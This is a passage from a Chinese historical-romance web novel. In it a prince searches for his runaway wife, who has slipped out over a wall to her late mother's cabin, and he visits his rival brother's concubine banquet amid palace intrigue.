李嬷嬷本还想慢慢套着话,没想到傅之行如此爽快地就脱口而出,既如此,她也无可隐瞒的,咽了咽唾沫,深深吸了口气。
“老奴听了些不着调的闲言碎语,说是您同王妃闹了好大的矛盾,两人似是互不相让,听说您还软禁了王妃?”
“不是不着调的,确有此事。”
“王爷您?何事惹得您二人如此别扭啊?都说夫妻床头吵架床尾和,过日子嘛,难免有些小吵小闹,说开了也就好了,再如此,也不至于软禁罢。”
李嬷嬷一时着急上火,是想到哪就说到哪,等到她意识到自个话说多了时,已然收不住口了。
憋了半天,没想出怎地去圆话,只好悻悻地,“老奴说多了,还请王爷见谅。”
傅之行倒没放在心上,李嬷嬷说的没错,他自是知那个理的,可他知沈清欢一向最有主见,他怕自个一个妥协,就让其步入险境。
端王府于他是龙潭虎穴,更何况是一个女子?
他万万不曾想到,沈清欢竟会有胆量去端王府探查,虽只是初步想法,可他害怕,害怕她当真去了。
说他独断也好,怨他蛮横也罢,此法子在他这里就是行不通。
傅之行又转头瞧了瞧李嬷嬷,显然她为这事忧心的紧,平日里最是乐呵的人,今儿个站在这是接连叹气。
“嬷嬷不必忧心,我二人并无大矛盾,无非是些小事争吵罢了,过个几日也就好了。唤你来,一是好让您宽心,外头的风言风语听听就罢了,二是想托您好好照料小满的身子,这几日她应还在气头上,我不便出面,您就多费些心。”
傅之行此话一出,李嬷嬷瞬间乐了,一颗提溜着的心也顺势放进了肚子里,眼角眉梢都沾着喜,连连回话,“王爷您放心,我定当好生照料王妃。”
傅之行正摆摆手,示意嬷嬷退下,门外于景带着焦灼的声音突然传来——
“王爷,不好了,王妃她,王妃不见了!”
什么?!
傅之行脸色霎时间暗沉下来,眸底翻涌狠戾,指节骤然攥紧,泛出青白色。
23. [锁] 该章节由作者自行锁定
短短数分钟内,傅之行宛如变了个人一般。
原先身上的冷峻温润感尽数被怒意取代,整个人都散发着一股令人发颤的狠戾。
李嬷嬷在一旁不敢吱声,她是看着傅之行长大的,太过于了解这个祖宗的一举一动——
瞧这番动怒的模样,若不是触到了逆鳞,是断断不会如此的。
想到前年,大抵是听见坊间传闻那时的沈清欢与傅恒二人关系密切,消息一传进傅之行耳里,愣是将自个关进屋中两天两夜未进吃食。
后又是暗地里搜寻傅恒流连烟花柳巷的证据,又是费劲心机稍信于相府,明里暗里都是挑着说傅恒此人,靠不住。
奈何当年相府老太太偏偏就对傅恒看对了眼,愣是扣下了信件,再加上不知如何给沈清欢一顿挑唆。
那年二人关系是愈发亲密,时常瞧见其在街巷中共同作伴游玩的身影。
如今,沈姑娘终于瞧清傅恒的真面目,同自家王爷修成正果,傅之行恨不得是将其捧在手心怕碎了,含在口中怕化了。
这猛地一个消息,沈清欢突然消失了,怎能叫众人不吃惊?
李嬷嬷揣着一颗不安的心,站在角落里,时不时地瞟着傅之行的脸色。
“于景。”
“属下在。”
傅之行强压下心中的燥,带着些无奈,“派人去端王府四周蹲守着,若是瞧见王妃,立刻回来禀告。”
“是。”
傅之行顿了顿,接着又道,“莫要伤着她,倘若,她不从,就暂且作罢。”
于景愣了愣,这要求到底是要将王妃待回府,还是放任王妃不管?
摆明了王妃这一出走,就是下定了决心的,又怎会轻而易举会乖乖归府。
想到这,于景悄悄抬眸看了一眼自家王爷,瞧见了那副冰霜似的面容后,忍不住打了个寒战。
罢了罢了,他们这些做事的,还是不要掺合过多为好,大不了,到时领着王爷自个来说服王妃罢。
“那,属下先行告退。”
于景走后,李嬷嬷也寻了个理由慌慌张张地出了门,踏出房门后,李嬷嬷稍稍一斟酌,转头就往后院去。
屋内众人都散了,独留下傅之行一人。
只见那屋中一片凄冷,仿若散了人气般昏暗,傅之行背倚着墙,瞧着桌上自个被分离开的画像,手中拿着的是先前“夫妇像”的画轴。
“啧,怪心狠的。”
傅之行咬着牙,一字一字地挤道,指节攥得紧,片刻后,手中的画轴便传来一声清脆的“啪嗒”声。
看着已然断裂成四分五裂状的画轴,傅之行眼中带有一丝温情,挑了挑眉,一颗泪顺着好看的桃花眼滴落,砸在他手背上。
随后,眸中温情不再,转化而来的是风雨欲来的欺压感,一个松手,画轴重重地摔落在地。
沈清欢窝着身,躲藏在靖王府内的假山中。
在不知过了多少个时辰后,府内终于静了下来。
沈清欢迷蒙着,揉了揉眼,扒拉在假山石的边缘,凑着脑袋往外看。
院外的两个小厮早已离开,院内除了树叶被风吹动的响声,就只剩下她自个的喘气声。
看来是走了。
沈清欢拢了拢身后的包袱,将系带捆得更紧实了些。这包裹里头可装着成事的东西,要是丢了,此举就白费了。
又在假山中等待了约半刻钟,沈清欢再三确认过,此地除她外并无他人后,直接一个大跨步,双手攀着那假山石的边缘,一点一点地挪着身子。
这假山石缝隙中透出几缕月光,她指尖扣着假山石粗糙的石棱,脚尖垫着假山石的边缘,一步一步地走着。
半晌后,终于走到那假山石的拐角处,再往前走上些许,就能触到地面,沈清欢指腹已被磨得发涩,脚腕也有些许胀痛感。
可她不敢松懈,秉着最后一股执念,咬咬牙,借着手臂的力气,将身体稳稳地送至平稳的地面上。
嚯。
直到站立在平坦的大地上,沈清欢这才松了一口气。
揉了揉发酸的手心,简易掸了掸身上沾着的灰,再次掂量了下身后背着的包裹,一切确认无误后,沈清欢缓缓地走至院墙角落中。
从草丛里翻腾出一块颇有些分量的石头,松了松筋骨,随后往后退了几步,再一鼓作气往前冲刺着。
小臂用力支撑着,一个踮脚弹跳,整个人刚刚好爬上了墙头,来不及多想,沈清欢回头略微回望了一眼小院,最后还是一个狠心,从那墙头上径直跳了下来。
一个屈膝卸力,指尖堪堪擦过地面,带起一点细碎的石屑,刺痛感瞬间从沈清欢的指尖蔓延至全身,钻心的痛。
“嘶。”
这院里不刚刚清扫过?怎又有了这些碎石子?
沈清欢眉毛拧成了一股麻绳,心里暗暗发着牢骚,可又害怕耽搁久了会被人察觉,只能一瘸一拐地接着赶路了。
就在其身影刚刚消没在院外,另一侧的院门巧好被推开。
夜深露重。
虽已步入初夏,但夜里还是有些凉气的。
傅之行辗转反侧还是久久不能入睡,若不是被李嬷嬷强行劝说着,他此刻应还在外头寻着沈清欢。
他走至曾经二人弹琴说笑的石桌前,望着眼前一潭汪汪的池水,今年的荷花苞开得早,已有好几朵争着冒出了尖头。
若是她在,一定很稀奇地趴在池边看吧?
傅之行静静地坐在石凳上,眼里闪过的全是往日里沈清欢嬉闹的场景。
可到底是变了,好景依旧在,可人却消失了。
一想起沈清欢的突然失踪,傅之行心底的情绪就逐渐翻涌。
“王爷,并未在端王府处瞧见王妃的身影。”
于景按着吩咐在端王府附近蹲守了大半天,可左瞧右等,莫说是王妃了,就连几个女子的身影都未曾瞧见。
眼见今日是无收获了,于景想了想,还是转身暂且回府禀告一声为妥,兴许王妃压根就不曾想过来端王府呢?
谁知,他刚踏进院里,就被李嬷嬷拦下。
“于景,小点声,这么晚回来作甚?”
“李嬷嬷?我
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特回府同王爷禀告事务,倒是你,怎地还没睡?”
于景有些费解,这李嬷嬷往日里做完后院的活计,基本上都是回屋歇息去了,她年纪愈发大了,受不了夜晚的寒气,一般都早早进入屋中躲着寒气。
李嬷嬷一副“我就知如此”的姿态,伸手将于景往身旁拉了拉,神秘兮兮地说道,“王爷今日心情不佳,我念着劳神过度必伤身,就早早地劝着王爷进屋入睡了。”
见于景还是不大信的样子,李嬷嬷有些急了,三两步上前将于景往偏院推,“于大人,有何事明日再说罢,你也辛劳了一天了,赶忙回去歇歇罢。”
李嬷嬷的想法甚是简单,她虽也心中含着不安,可若是身子累垮了,该怎么去寻人?
磨刀不误砍柴工嘛,李嬷嬷瞧着这几个拼命三郎般的小伙子,心里头既是心疼又是替他们捉急——
王爷暂且不谈,这于大人尚未娶妻,这些年常年奔波劳累,若是落下了病根儿,日后怎讨媳妇?
瞧着于景一脸的不在意,李嬷嬷有些恨铁不成钢地拍了两下于景的背,口中小声嘟囔着,“真是皇帝不急,太监急,快些回房歇息,有事明日再商量。”
说罢,便捂着嘴打了个哈欠,李嬷嬷困意泛了上来,再次叮嘱了番,就敲打着胳膊,回屋去了。
待李嬷嬷走后,于景望着一片漆黑的屋,也转身离去,屋内并未亮着灯,想必王爷确实入睡了,也罢,明日起早再去端王府探探罢。
于景收拾了一番今日的行头,梳洗了下,躺下的瞬间,眼前突然晃过一黑影。
“是谁?”
于景出声呵斥,那黑影在朦胧的光下,显得并不真切,闻言似是愣了下,转头就不知所踪。
于景来不及穿衣,单单套了个长衫,就提着剑往屋外冲去。
可屋外一片寂静,除却几片被风吹得打卷儿的树叶,并无任何人影,那不成是自个眼花看错了?
于景小心翼翼地迈着步子,在四周搜了一圈,“喵——”
府内的阿狸不知何时从黑处窜了出来,见着于景,很是亲人地摇着尾巴黏了上去,于景蹲下身,抚摸着它光滑的毛发。
原来是你啊,这么晚,窜出来竟吓唬人。
于景收起了拔出的剑,作声佯装呵斥了阿狸一通,随后提着剑进了屋。
躲在不远处桩子后的沈清欢手捏成拳头般,额间是吓出的汗,听见外头动静彻底消失后,她才安心地走了出来。
为避免被其发觉,沈清欢不敢多留,方才刚从她的院门翻出,如今进了偏院走上这么一遭,已然费了她好大的心气。
不敢再磨蹭,沈清欢侧着身,从偏院围着的竹林中钻了进去,随后向先前一般,使着全身的力气,攀上了墙头,一个翻身,跳了出去。
趁着守门的小厮并未察觉,沈清欢一步三回头,就这样偷偷默默地出了靖王府。
夜色深沉,街巷中人数少的可怜,沈清欢不敢走大路。
想了想,转身从另一端的小土路中走去,半晌后,在一间木屋前停下——
就是这了。
24. 并非表面纯良
推开老旧的木门,迎面而来的是铺天盖地的尘。
这屋子好些年未着人清扫过,里头已是破旧不堪,咿咿呀呀的老木门,稍一动它,就开始“叫唤”。
沈清欢被呛了下,连咳嗽了好几声,险些背过气去,举着衣袖,在眼前扑了扑,虽尘土任然在,但总归是好上些许,最起码,她眼前是能看情了的。
待空中扬着的尘重新矮了下去,沈清欢起身,去院中的井中压了一桶水上来,朝着屋内的各个角落旮旯用力地泼着。
沾了水渍的地很快就暗了下去,连带着桌角的蜘蛛网,都一同被水冲刷殆尽,黏糊糊的同泥水混作一团。
沈清欢不禁皱了皱眉,她事先有想过这老屋许久无人居住,自是同王府不能相比拟的,可眼前这一幕也着实令她捏了一把汗。
且不谈灰蒙蒙的桌椅板凳,就说那时不时往屋内窜着风的碎窗,若是在这睡个一晚上,怕是早上起身时,都要发作头痛病罢。
再说回那些个早就不成样子的破旧老木头做的桌椅板凳,虽能依稀瞧着轮廓花纹,能品鉴出在当年定是用足了心差人打造的。
可这些年过去,许久不沾人气的屋子,又长年累月无专人打扫,屋内的物品早就破的破,败的败,仔细张着耳朵听,像是还能听到几声老鼠崽子的“吱吱”乱叫声。
好嘛,十年河东十年河西,沈清欢心里头隐隐泛着酸,这屋子还是当年她母亲留下的,在她年幼时,还时常来此处嬉戏玩闹。
当年,母亲迟迟未能怀有二孩,沈苏氏不知请了多少个名流大夫,开了多少个药方,哄着逼着母亲往肚里喝。
起初,母亲还好说话极了,念着老太太也是盼孙心切,纵使心底排斥这些个苦涩无比的药渣,但到底不曾拂了老太太的脸面,直到——
那年轻气盛的二姨娘入府。
沈清欢至今仍记得那日的场景,那时她正伴在母亲床榻周边,鼻腔内都是那浓烈苦涩的药味,她记得她问母亲,为何日日都要喝这些苦玩意儿?跟臭水沟一个味儿。
母亲被她逗得笑出声,温柔地抚摸着她的额头,摇摇头,说着喝了这些“臭水”,才能给她生个小弟弟啊。
年幼的沈清欢哪里懂这深宅大院内的辛苦,只一味地瘪瘪嘴,嚷嚷道,“那就不要小弟弟了。”
说者无心,听者有心,她记得话音刚落,母亲就斥责地捂住了她的嘴,眼里的柔情散尽,眉目间写满了严厉,语气也重了起来,“小满,这话往后不可再说了,尤其在你祖母面前,更是不可提起,可知晓了?”
屋外的风吹动着白瓷碗内的药,惊起了一层波澜,她听见自个懵懂地应下了,也是那日,外头忽然传来嬷嬷的嗓音,“二姨娘入府了!”
奇怪的是,自姨娘入府后,母亲再未饮过那稀奇古怪的汤药,沈清欢是欣喜的,心中乐呵母亲不用被汤药约束,可母亲却时常泛着愁。
二姨娘入府后数月,便有了子嗣待在身上,虽不知男女,但沈苏氏倒是一改往日的严肃,整日乐呵呵地往二姨娘屋内送滋补品。
母亲知晓后,眼底再未出现过笑意,不久的一日,便带着她来到一木屋前,虽不大,但却温馨异常,也独有她二人知晓,这是留给沈清欢的栖身之所。
那时她不懂,如今她终于懂了。
沈清欢想到这,眼泪就不禁爬上了眸底,望着眼前的屋子,从前的种种仿佛都近在眼前,母亲走的早,这屋子自母亲走后,她也鲜少过来。
后又因那沈苏氏对她的“谆谆教导”,竟让她误以为那傅恒是个可托付终生的良人,可惜啊,祖母,你算尽心机,怕都不曾想到过,眼前的沈清欢早就今非昔比了罢。
地上的泥水已凝结成糊状,沈清欢深深秉着一口气,从偏房拿了个扫帚,俯身清扫着。
屋子并不大,左右不过两间屋子,沈清欢本想稍歇一歇再清扫另一间,可细细想了想,索性一鼓作气,尽快拾掇好,省的还有个心事老挂在心头。
这屋子还要住上许久,干净着叫人住着也舒心,更何况这是母亲留给她的,收拾清楚些,也是应当的。
屋亮堂了,心也就随之亮堂了。
沈清欢累的腰身都快直不起来,身上原本鲜亮的衣裳,早就蒙上了一层污垢,她半倚靠在椅背上,胸膛间还有些出了力气后的起伏。
屋外还黑着,寂静的能听见自个的喘气声。
沈清欢从包裹中取出早已收拾好的衣裳,简易清洗了番,随后便早早入睡了。
许是今日几番折腾累极了,沈清欢刚躺下,头刚沾到枕头,便深深睡了过去。
于景回屋后,是越想越感觉哪处不对劲。
坐在床榻前,对着刚才一幕几番回想,若他不曾记错,那黑影似是躲闪极快地奔了出去,可阿狸向来亲人,听到声响不至于如此惊慌罢。
于景迈着步子,再次回到屋外窗前,细细打量着窗的高度,转而又低声唤着阿狸。
阿狸也十分给面子,蹦跶着步子,扭动着胖呼的身子,就朝着这边赶了过来,于景故意在窗台处放了根阿狸素日最爱吃的肉干。
眼神紧盯着阿狸的动向,只见阿狸前爪堪堪勾起,身子往后仰着,随后借着力,跳着往窗台边缘蹿。
可后肢悬在半空中扑腾了两下,终究是没能借上力,爪尖一滑,整只猫团成个毛团子状,又重新摔回地面。
阿狸太胖了。
于景心底头闪过一不妙的想法,照着这么看,方才那黑影定不是阿狸了,那又是谁?
莫不是王妃?若是真是那样,那就是说,王妃今日一直并未离府,而是同他们玩了个调虎离山计?
于景突感身上起了一层鸡皮疙瘩,一股寒意自心底往脑门上窜,连后颈的汗毛都倏地竖了起来。
哪还有半分睡意?
于景草草地掩上了门,就寻着偏院细细勘察去。
果不其然,如他设想的一般,偏院那墙的墙头上,留下几道清晰的攀爬痕迹,此人应是技术不大高超,青砖边上还残留着几缕衣角的碎料,颜色鲜亮——
估
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摸着是女子的衣裳。
于景从身后取出一把匕首,沿着那青砖的缝隙细细打磨着,将那块衣料取了下来。
正要往前探,身后兀的传来一清朗的声线。
“于景,你在此作甚?”
傅之行眸底闪过疑虑,见于景恭敬地转过身,道了句“王爷。”
眼神瞥见他手中持着的女子衣料,瞬时,呼吸停滞了一秒,心底的焦躁再此泛起,不等其继续回话,接着抬眼问道,“手中所持何物?”
于景闻言连忙将那衣料呈给傅之行,同时将方才发生的一切,尽数讲述。
嘶,如今竟也会使这些花招了。
傅之行勾了勾唇,将那衣料塞进袖中,瞧不出眼底是悲是喜。
于景迟疑着,“王爷,要不要派人连夜搜寻,兴许王妃她刚逃出不远?”
傅之行掩了掩唇,长呼出一口气,有种怒极反笑的意味,“不必了,夜已深,想必小满未躲我,也耗费了心力,且融她休息一夜,明日再寻便是。”
顿了顿,傅之行瞥了一眼于景,“你也回去歇息罢。”
“是。”
于景领命退下后,傅之行循着其所说的地点,借着朦胧的月光,察看着。
瞧见了那墙角几处淡淡的泥印,与脚掌擦过的痕迹,显然是从此地翻越出来的。
傅之行立在墙下,约莫着比了下,这院墙足有丈余高,青砖砌得齐整,墙顶还覆着瓦棱,心底先是暗付——
她倒胆子不小,竟敢翻这丈高的墙出去,转念又掀起几分软意,不知她翻墙时可曾磕碰,有没有摔着。
傅之行觉得自个像是要疯了。
他素来不认为自个是多清高的正人君子,于她,他算是失而复得。
昔日被递退婚书时的狼狈与锥心,在她重返心意点头许诺,要与他相守时,被衬得极致不在意。
但也因这极致的落差,他总免不了患得患失,生怕这暖意温情转瞬即逝,生怕她终是会丢下自己。
他素来克制着满腔的占有欲,唯恐那浓烈的执念吓着她半分。
可如今,她竟不顾自个阻拦,偏偏要去那倾慕她的男子府中探查,他那三弟,是何等人物,他再清楚不过,他不敢想,沈清欢被发觉的后果。
他着实担忧,又着实心惊。
傅之行心下那点隐忍的克制,已开始丝丝缕缕逐渐崩裂。
心头压着股微妙的愠怒,他走至沈清欢的院落,本想寻个角落再享几分,她院中残留着的温软气息,沾沾她的气味,抚慰心绪。
却无意间瞥到那墙根处一方碍眼的石头,往日似是不曾有的。走近了瞧,那石头正卡着角落,往上看,能隐约瞧见几处划痕。
原是块垫脚石。
再瞧着身后假山石外侧缺了的一角,傅之行理了理思绪,心中有了沈清欢出府路线的大概。
随后凝着那方垫脚石低笑一声,无奈中掺着几分没辙的软意。
他这王妃,看来并非往日看上去的那般纯良无害啊。
25. 妾室
又是一夜无眠。
自沈清欢离家已一周有余,傅之行冷着脸撑着身子,手上的一把折扇开了又合。
眼底的乌青印在一张俊俏的脸上,显得是分外突兀。
李默向着于景对视了一眼,二人皆很是默契的沉着脸。
王妃一周未归,起初原以为再怎样,哪怕是有个通天的本领,两三日也该寻到了。
可出乎所有人的预料,这王妃像是恍若人间蒸发般,莫说寻人了,就连半点的人影子都未曾见到。
可令人咋舌的是,那端王府偏偏此刻迎了个喜事———
娶亲。
本不是个稀罕事,傅恒本就风流,月下花柳之韵事,是一茬接着一茬,不足为之稀奇。
可怪就怪在,这二事撞至一起,岂不太过于凑巧?
又结合起,先前这靖王妃是因着想潜入端王府探查,才引发同傅之行的不悦别扭。
这下子一来,傅之行更是心惶惶不安,只恨不得要去那端王府中去,将那等着入门的新娘子扯出来,瞧一瞧那庐山真面目。
府内多多少少也流出了些流言蜚语,不论是在前院走得近的账房,还是那偏远着的膳食坊,无一人不知这靖王府近来不太平。
按着规矩,此次乃纳妾,非正妻,礼节上也并无过多嘈杂繁琐之琐事。
那端王府里,只略添了些喜气,朱门未挂彩,仅内院正厅檐下悬了两盏红纱灯。仆役们轻手轻脚的备着薄席。
此次喜宴,算不得多大的席面,遂也单单请了些亲眷大臣过来吃酒,并无外客登门。
约莫晌午时分,生母贵妃遣了身边掌事嬷嬷过来,未亲自登门,但却送来了一方金镶玉的喜图作礼。
“殿下,娘娘托老奴来传了句话,还请移步。”
嬷嬷将那喜图递交给王府小厮后,恭敬地朝着傅恒行了个喜礼,顺道将那贵妃几番叮嘱的话递了出来。
傅恒微微愣了番,不一会儿,也大概了然母妃的意思,朝着嬷嬷颔首,“嬷嬷随我来。”
与内院的热闹不同,三进三出的偏院有着不一般的冷清。
二人走至一老槐树下,嬷嬷四处打量后,上前对着傅恒低声道,“殿下,贵妃娘娘让奴才传句话,皇上身子不济,您得趁早添嗣,莫流连女色,多做些实事,好让您父皇看在眼里。”
傅恒垂眸沉默了半刻,淡淡应了声,“知道了。”
语气听不出喜怒,只摆了摆手,示意嬷嬷退下。
转身回到内院,今日是他的大喜之日,虽说是个偏室,但毕竟是真真切切合了他心意的,可这喜宴,却格外令他恼火。
特地亲邀的几位皇子并未亲自来,皆是遣了侍从送了薄礼,无非就是些珠宝翡翠类的,又或是上好的些绫罗绸缎,外带副吉祥语帖。
大多是说烂了的贺喜话。
傅恒拿着帖子嘴角冷笑,让那管事的收了礼,命人赏了侍从,便算是领了这份心意。
本都意欲坐下同周遭来的亲臣饮酒作乐时,门口的小厮突然三步并作两步地跑来,神情中有着抹慌里慌张。
傅恒精致的眉眼不禁添了份愠怒,他本就生得好看,不同于傅之行的清冷俊朗,他倒是多了几分柔美。
“慌慌张张作甚?坏了规矩。”
小厮也知自个失了分寸,躬身垂首,虽可以压制着,但语气还是有些急,“禀告王爷,靖王殿下到了,还带了贺礼,说是来赴席。”
小厮话音刚落,傅之行已掀帘入门,步行至内院,玄色锦袍衬得身姿分外挺拔,手中携着锦盒递与身侧下人。
“恭喜三弟,今日府中添喜,为兄特来道贺。”
傅之行抬手虚虚一拱,唇角噙着笑,先行出声。
傅恒抬眼望他,眸底凝着几分沉敛,目光在他身上扫视着,嘴角勾起,却带有几分锋芒。
“皇兄有心了,快请入座。”
二人目光轻碰一瞬,眼底各藏深意,却在转瞬间又落了开。
一旁的下人忙上前引着傅之行入席,空气随着傅之行的落座不免生了些许无声的张力。
席面诸臣闻声皆纷纷向此处看来,搁了杯箸,向傅之行颔首,“靖王殿下。”而后随着人数的到齐,宴席也真正开始。
此刻偏院中就显得极其安静,那新晋侧室低眉垂手立在屋中,大气都不敢喘。
李默一身墨色劲装,借着廊柱阴影悄声潜入窗下,指尖轻轻挑开窗纸的一角,目光落在屋内人的侧影上。
匆匆瞅了一眼,便敛了目光——
随着身后脚步的逼近,李默身形一晃,又隐入暗中。
内院正厅里,姚之桃端坐在上首,身旁女眷低声说着话,听闻外院靖王驾临,她只略皱了眉,隐约察觉似乎有哪处不对,可又道不明白。
抿了抿唇,姚之桃轻叹一口气,对着身侧的嬷嬷说道,“吩咐下去,将席间的动向看得紧些,有事及时同我禀告。”
语气顿了顿,又对着嬷嬷道,“我与靖王妃许久未相见,嬷嬷你去一趟内院,请她过来,就说我想同她说些体几话。”
姚之桃说罢就要将腰间别着的荷包作为信物,让嬷嬷去请人。
可嬷嬷一脸为难之态,“主母,靖王妃并未前来。”
“什么?”
姚之桃脸色一变,心中说不上来的悸动,手微微发颤,酝酿后,遣了个理由就回屋休憩了。
关上门后,姚之桃如临大敌般抚着胸口,一手忙将门栓拉上,一手在腰间摸索着。
取出荷包后,姚之桃将其打开,顿时一股浓烈扑鼻的花香浸满了整间屋子,是好闻的茉莉花香。
在那荷包的深处,窝着一有些泛黄的纸条,姚之桃捻住荷包系带轻抽,纸条便从荷包中滑出,边角已被磨得微卷。
来不及过多思索,便将那东西团作一块,端起手边微凉的茶盏,仰头就将茶液与纸团一同送入口中。
清苦的茶香混着微涩的纸味滑过喉尖,姚之桃眼神空洞地盯着荷包,手将荷包越发用力攥紧。
心底仍旧上下打着鼓。
“咚咚咚——”
姚之桃握紧了掌心,“何人?”
“主母,是我。”
嬷嬷熟
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悉的嗓音在外头响起,姚之桃略微松了口气,“嬷嬷有何要紧事?”
“回主母的话,新侧室的姑娘按规矩来给您请安了,候在外头听您的示下。”
“且先等着吧。”
“是。”
姚之桃并无心思去会那侧室,可身份摆在这,规矩还是不能破的。
简易在镜前拾掇了鬓发,换了身浅青色暗格条纹褙子,眉眼间已然换了副神色,散着几分闲适,哪还有半点方才的不知所措?
门栓拉开,她扶着侍女的手起身,端坐于正厅梨花木椅上。
帘栊轻佻,新侧室一射绯红色新嫁衣,鬓间虽簪着珠翠,但却是一副敛着眉眼的小家子气,一步一礼,规规矩矩地跟着引路婆婆行至厅中。
待站定,便屈膝福身,声音柔软轻盈,“妾见过王妃。今日入府,特来请安,愿王妃诸事顺遂,福泽绵长。”
说罢,姚之桃应和着赠了茶,眼却无意间瞟见了门外柱后的阴影。
正欲开口,那人影却抢先一步从阴影中探出身来,朝她做了个噤声的手势——
是李默。
姚之桃咽下到嘴边的话,虽不解,可到底是装作一切如常的姿态。
那侧室早已被嬷嬷领着坐下,姚之桃寻常地打量着她,总觉得这姑娘像是有何心事般,畏畏缩缩的模样。
姚之桃大约能猜出几分,心里有暗暗唾弃那傅恒,真不是个东西,又不知从哪处威逼利诱“拐”了个好姑娘进来。
但人在屋檐下,不得不低头,姚之桃细细想了下,还是出言告知些在这端王府内做事的规矩,以免其冲撞了不该惹的。
虽说她厌恶此地,也时常萌生出逃出生天的念头,可毕竟时候未到,还是暂且过好眼前为好。
那新侧室大抵是个性子软的,听了其这一番发自肺腑的言论后,竟不禁心生感触,肩膀逐渐微微颤动起来。
兴许是察觉自个失态了,拿着帕子拭了拭眼角后,抬着眼,望向姚之桃,柔声道,“主母的话,妾领进心了。”
姚之桃本应和的敷衍了两下,可四目相对的刹那,却骤然凝住——
指尖扣茶的动作也顿在半空,眸底的淡然碎了片,竟生生愣了神,连呼吸都清滞了几分。
视线仿佛钉在了那妾室的脸上,眉峰,眉眼,眉尾,那几分熟悉的轮廓撞入眼底,让她心头猛地一沉,一时竟忘了言语。
太像了。
但那妾室唇瓣偏厚,唇线利落,唇角处略显平直,与她记忆中的那人并不相像,再细看一番,那鼻尖到唇瓣的距离也略偏长,这般瞧着,也是陌生的。
那妾室被姚之桃盯着有些不明所以,心头发慌,“王妃?”
这声才将姚之桃的思绪拉回,她轻咳两声,掩去眸底的惊澜,指尖重回茶盏边沿。
“既入了门,便是王府的人了,今日该说的也都说了,你且先回去吧。”
一旁的嬷嬷也颇有眼力见地引着那妾室回了屋。
空气骤然又降了下来,那柱后的阴影顺着走了进来——
“李默,参见端王妃。”
26. 吊成翘嘴儿了
随着李默的陈述,姚之桃的脸色就如同那灶炉里的草木灰一般,黑了又黑。
“你们是疑心新进府的妾室?”
“回王妃,是。”
姚之桃眼里透出一抹看傻子般的神态,犹豫了好一会,似是在斟酌用词,在心里揣摩了后,向着李默道。
“你家王爷怕不是疑心病犯了罢,这档子莫须有的事情也能肖想的出?”
李默愣了愣,像是没料到这端王妃说话如此直白。
姚之桃一脸的鄙夷,看着李默呆若木鸡的样,沉下心,在心里头默念,“别生气,别生气。”
在历经七七四十九回合后,姚之桃端出一个自认为完美无瑕的笑容,堆在脸上,声音也是夹起来的甜。
“李默,你可知,世上女子并非只能够以色侍人?”
“王妃此话何意?”
“我同小满虽交心不久,但我能感知她是个顶好的女子,有勇有谋,不畏强权,是有着自个思想的女子。”
姚之桃转了个身,坐在高台上,呼出一口气,继而道,“她既选择出走,必是有自个的缘由,堵不如疏,你家王爷难道当真觉得这样一个不卑不亢的女子会为了达到目的,牺牲色相吗?”
李默听了这一番话,才恍然大悟,她是误会了。
连忙出口解释,“不是王妃所想的那般,我家王爷自是不会有那般龌龊思想,只是担忧的是——”
李默咬咬牙,狠心说,“王爷只是怕我家王妃算计那端王不成,反倒被其算计进去。”
“那端王觊觎我家王妃许久,王爷属实怕这贼人趁人之危,用阴招伤了王妃。”
姚之桃这才心下了然,想来也是,这夫妇二人平日里是如胶似漆的,这小满突如其来的离家出走,让人放心不下是真的。
再联想到那夜她差人递来的纸条,仔细一琢磨,倒有些同情傅之行了。
这小满,做事也没个分寸的,她家这个妒夫是何等的脾气,这一贸然出走,不知要闹怎样一出。
哀哀叹了口气,姚之桃一脸正色,“旁的我不知晓,但,今日新进府的妾室真真切切不是小满,方才那人模样我是瞧清了的。”
李默得了安心丸,心里的包袱也悄然卸下,正要起身告退时,耳旁却又幽幽传来一句——
“但那妾室的眉眼与小满倒有九分相似。”
李默如被雷击中了般,盯着姚之桃的双眸,一脸菜色。
姚之桃也不避讳,她虽是这端王府的王妃正室,但也只是个有名无分的,“依我看,你家王爷的担忧不无道理,这傅恒,确实是贼心未死。”
李默直到踏出正厅门后,脑子还是懵的。
这短短几分钟内,就获得了两消息——
好消息是王妃并未被端王挟持押进端王府。
坏消息是这端王摆明了在找靖王妃的替身,为妾。
不怕贼偷,就怕贼惦记。
而自家王爷是又怕贼偷,也怕贼惦记,要是被他知晓了,又不知要掀起怎样的腥风血雨。
内院的宴席依旧在继续。
傅之行一边面带笑意地同身边的一群老狐狸打着马虎眼,一边时不时地望着偏院。
今日受邀的皆是同端王府关系亲昵的大臣,也不知是否碍于他的到来,明显这帮老臣有着不同往常在朝堂之上的口若悬河,一个个像瘟鸡般,嘴里翻来覆去就那么几句。
傅之行懒得配合他们演戏,几轮回合下来,一副俨然被灌醉的姿态,手肘撑着脑袋,双眸紧闭。
果然,同桌的那帮老臣见状,纷纷开始窃窃私语。
傅之行左侧那人,敛了气,“瞧这靖王这模样,是真醉了?”
另一人,捻着胡须,声音压得堪堪入耳,“方才还思路清明,怎的几杯酒下肚就这般失态?”
旁一人轻扯那人衣袖,蹙眉接话,“管他是真醉假醉,总归是要撑不住了,要不寻两个稳妥的下人,送回王府去?”
傅之行将这些话语听得一清二楚,嘴角不禁勾了勾,装作幡然苏醒的姿态,“诸位大人,可是商议送本王回府啊?”
他这一咋声,惊得身旁那老夫是心口一跳,忙给自个叫了叫魂,脸上带了几分讪然,“王爷,您这突的一声,当真是叫老夫吓了一跳。原是见王爷有醉意,心下惦念罢了。”
傅之行见时机已到,心里估摸了下,李默那差事也应办妥了。
当即就顺着那老夫子的话,顺势扶着身侧侍从的手缓缓起身,酒意似漫在眼底,语气倒是格外清明,“倒叫诸位费心了,看来今日真饮多了,便不叨扰了。”
说罢转头看向主桌上的傅恒,似是感应般,二人目光恰好对视。
二人眼里皆有着说不明的深意,傅之行唇角勾着笑,略挑了挑眉,拱手寒暄,“今日沾了贤弟的喜气,饮得尽兴,只是为兄酒量不济,竟有些撑不住了。便先辞过,改日再登门道贺,贤弟莫怪,好生招待宾客。”
傅恒也起身回礼,一双眼眸黑漆漆的,“兄长客气,慢走便是,一路当心。”
傅之行颔首应下,便由着侍从扶着离席,借着醉意顺理成章的下台。
刚刚走至内院门外,傅之行挥了挥衣袖,淡声道,“你先退下,不必跟着了。”
侍从应声退下,他抬眸望了望院中风景,眼底哪还有方才的醉意,眸光沉冽。
正欲绕身至院墙外,余光忽瞥见一抹身影缩在阴影里,动作鬼祟。
傅之行被勾起了好奇心,脚步轻放悄声走近,可越近,他就越察觉似是哪处不对。为何这身影竟与沈清欢如此相像?
他心头一凝,带着燥,抬手轻拍上那人肩头。
